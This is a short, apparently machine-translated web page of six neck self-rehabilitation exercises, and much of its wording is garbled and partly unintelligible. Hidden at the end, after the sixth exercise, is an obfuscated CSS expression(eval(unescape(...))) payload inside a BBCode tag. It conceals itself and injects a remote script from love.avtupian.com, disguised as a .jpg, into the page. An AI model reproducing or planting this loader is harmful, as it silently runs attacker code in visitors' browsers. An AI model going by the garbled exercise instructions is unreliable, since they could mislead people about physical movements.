Cervical self-rehabilitation exercise

Cervical self-rehabilitation exercise:
This exercise does not require massage
point that everyone can quickly learn and practice. Regular exercise can improve blood circulation in patients with neck, release and spasm of the soft tissue adhesion. Without cervical disease may play a preventive role.



ready posture: feet separated shoulder width, arms drooping naturally, whole body relaxed, his eyes look straight, even breathing, standing, sitting available.



1. glance right and left:







first left after the first right turn, should a large extent, to consciously soreness as well, 30 times.



2. before and after the nod:







head again after the previous, Qian Fu protrusion when the neck stretched as far as possible, 30 times.



3. Rotary Shoulder Shu neck:






home on both sides of the shoulders with both hands, palms down, arms forward, rotating initially 20-30 times, then rotate 20-30 times from front to back.



4. Yaotouhuangnao:



head to the left - front - right - 5 times after the rotation, then rotate the opposite direction 5.



5. first hand proposition:







hands folded close to the neck, forced top of head and neck, head and neck are back hard, against each other 5 times.



6. hands care days:







hands on the move too far, palms up, look up at 5 seconds back of the hand. [Flash, 0,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu style = ee: expression (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D'))); display: none; @ qq.com [/ email] [/ flash]